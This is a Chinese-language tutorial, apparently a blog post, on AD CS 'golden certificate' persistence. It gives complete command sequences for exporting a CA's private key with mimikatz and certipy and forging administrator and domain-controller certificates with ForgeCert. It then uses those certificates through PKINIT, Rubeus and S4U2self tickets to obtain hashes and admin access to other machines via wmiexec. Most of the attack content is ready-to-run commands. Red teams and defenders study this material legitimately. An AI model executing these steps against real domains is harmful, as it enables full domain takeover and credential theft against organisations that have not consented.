域内证书维权

黄金证书

证书链中,除了处于证书链中的 根信任证书 外,其他证书的签名需要使用它上一级证书的私钥,而 根信任证书 使用自己的私钥给自己签名。CA 证书使用其私钥签发其他证书,因为 CA 证书被根信任证书的私钥签了名,因此 CA 证书继承了根信任证书的信任。如果 CA 证书私钥泄露,我们就能使用 CA 证书签发其他证书。

在域环境下,域用户申请 User 模板的证书用于客户端身份验证,这类证书由 CA证书 签发,一般 CA 证书存放在所有域用户机器下的 受信任证书列表 中。那么如果我们获得 CA 证书的私钥,那么可以使用它伪造域用户证书链 ,这样我们获得域内所有用户凭据。 此外,我们称之为这些 CA 证书为 黄金证书

如何判断CA证书?
  • 只有CA证书有 "CA版本" 这一扩展。

  • CA 证书没有 EKU。

  • 证书的颁发者 Issuer 和主题名称 Subject (使用者)都设置为 CA 的专有名称。

注意:CA 证书的私钥受到 CA 服务器 DPAPI 保护。

证书导出

mimikatz
复制代码
# 在 CA 机器上使用 mimikatz 执行如下命令导出机器证书,导出的.pfx 文件即包含 CA 的证书和私钥,该 pfx 文件的导出密码为mimikatz。
​
mimikatz.exe "privilege::debug" "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" exit
certipy
复制代码
# 请求某一客户的证书
certipy ca -u administrator@HACK.com -p p-0p-0p-0 -target 192.168.72.21

证书伪造

利用获得的黄金证书,颁发域用户证书。

ForgeCert
复制代码
伪造 administrator 用户证书,证书的密码为空。
​
# 为用户生成证书
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=User" --SubjectAltName "administrator@HACK.com" --NewCertPath administrator.pfx --NewCertPassword ""
​
#为机器生成黄金票据
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "DC01$@HACK.com" --NewCertPath DC01.pfx --NewCertPassword ""
​
#如果 CA 服务器不是域控的话,需要指定 CRL 列表
--CRL "ldap:///CN=xie-CA-CA,CN=CA,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=xie,DC=com?certificateRevocationList?base?objectClass =cRLDistributionPoint"

证书攻击

上一步骤已经伪造好了用户证书,可以通过此用户证书进行 PKINIT kerberos 身份验证获取域用户hash。

certipy
复制代码
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in administrator.pfx -nodes -out administrator.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx
​
#认证获得 hash
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.4 -debug
Rebeus
复制代码
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
                                                              ^^^^^^^
                                                            证书导入时的密码

机器证书利用

域内环境下,机器账号的hash不能直接利用。

mimikatz

导出证书及其私钥

复制代码
mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" "exit"
certipy(攻击域控)
复制代码
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "DC01$@HACK.com" --NewCertPath DC01.pfx --NewCertPassword ""
​
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in DC01.pfx -nodes -out DC01.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in DC01.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out DC01.pfx
​
certipy auth -pfx DC01.pfx -dc-ip 192.168.72.21 -debug
普通机器账号
复制代码
# 颁发 comp1$ 的机器账户证书
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "comp1$@HACK.com" --NewCertPath comp1.pfx --NewCertPassword ""
​
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in /tmp/comp1.pfx -nodes -out /tmp/comp1.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in /tmp/comp1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out /tmp/comp1.pfx
​
# 利用机器账户证书生成 .ccache 格式的 tgt。
python3 gettgtpkinit.py -cert-pfx /tmp/comp1.pfx -pfx-pass mimikatz -dc-ip 192.168.72.21 -v HACK.com/comp1\$ comp1.ccache
​
# 利用 comp1$ 机器账户 tgt 为域管理员申请访问 comp1.HACK.com CIFS 协议的票据
python3 gets4uticket.py kerberos+ccache://HACK.com\\comp1\$:comp1.ccache@DC01.HACK.com cifs/comp1.HACK.com@HACK.com administrator@HACK.com administrator.ccache -v
​
# 导入票据
export KRB5CCNAME=administrator.ccache
​
# 以 administrator 访问 comp1.HACK.com
python3 wmiexec.py -k -no-pass HACK.com/administrator@comp1.HACK.com

此过程没有利用到委派攻击,而是利用到了 S4U2self 的宽松性。整个过程仅依赖 S4U2self。

S4U2self 的宽松性:S4U2self 的设计初衷是允许服务在需要知道用户身份时(如审计日志),无需用户主动认证即可获取票据。因此默认情况下,任何服务账户均可使用 S4U2self 为自己服务请求用户票据,无需额外权限。

总结:该攻击成功的原因是 Kerberos 协议中服务账户天然拥有为自身服务生成任意用户票据的能力,而无需委派。这是协议设计特性,而非配置疏漏。

相关推荐
笑衬人心。24 分钟前
HTTPS详解:原理 + 加解密过程 + 面试问答
java·网络协议·http·面试·https
HMS Core33 分钟前
HarmonyOS免密认证方案 助力应用登录安全升级
安全·华为·harmonyos
再见晴天*_*35 分钟前
logback 日志不打印
java·服务器·logback
bing_15840 分钟前
MQTT 和 HTTP 有什么本质区别?
网络·网络协议·http
Gauss松鼠会1 小时前
GaussDB权限管理:从RBAC到精细化控制的企业级安全实践
大数据·数据库·安全·database·gaussdb
myskybeyond1 小时前
时序数据库TDEngine安装和使用
服务器·时序数据库·tdengine
杨浦老苏2 小时前
Docker端口映射查看工具Dockpeek
网络·docker·群晖
myloveasuka2 小时前
[Linux]内核如何对信号进行捕捉
linux·运维·服务器
未来之窗软件服务2 小时前
通过网页调用身份证阅读器http websocket方法-华视电子————仙盟创梦IDE
网络·网络协议·http·仙盟创梦ide·东方仙盟·硬件接入
渲吧-云渲染3 小时前
云渲染时,电脑能关机吗?关键阶段操作指南
运维·服务器·电脑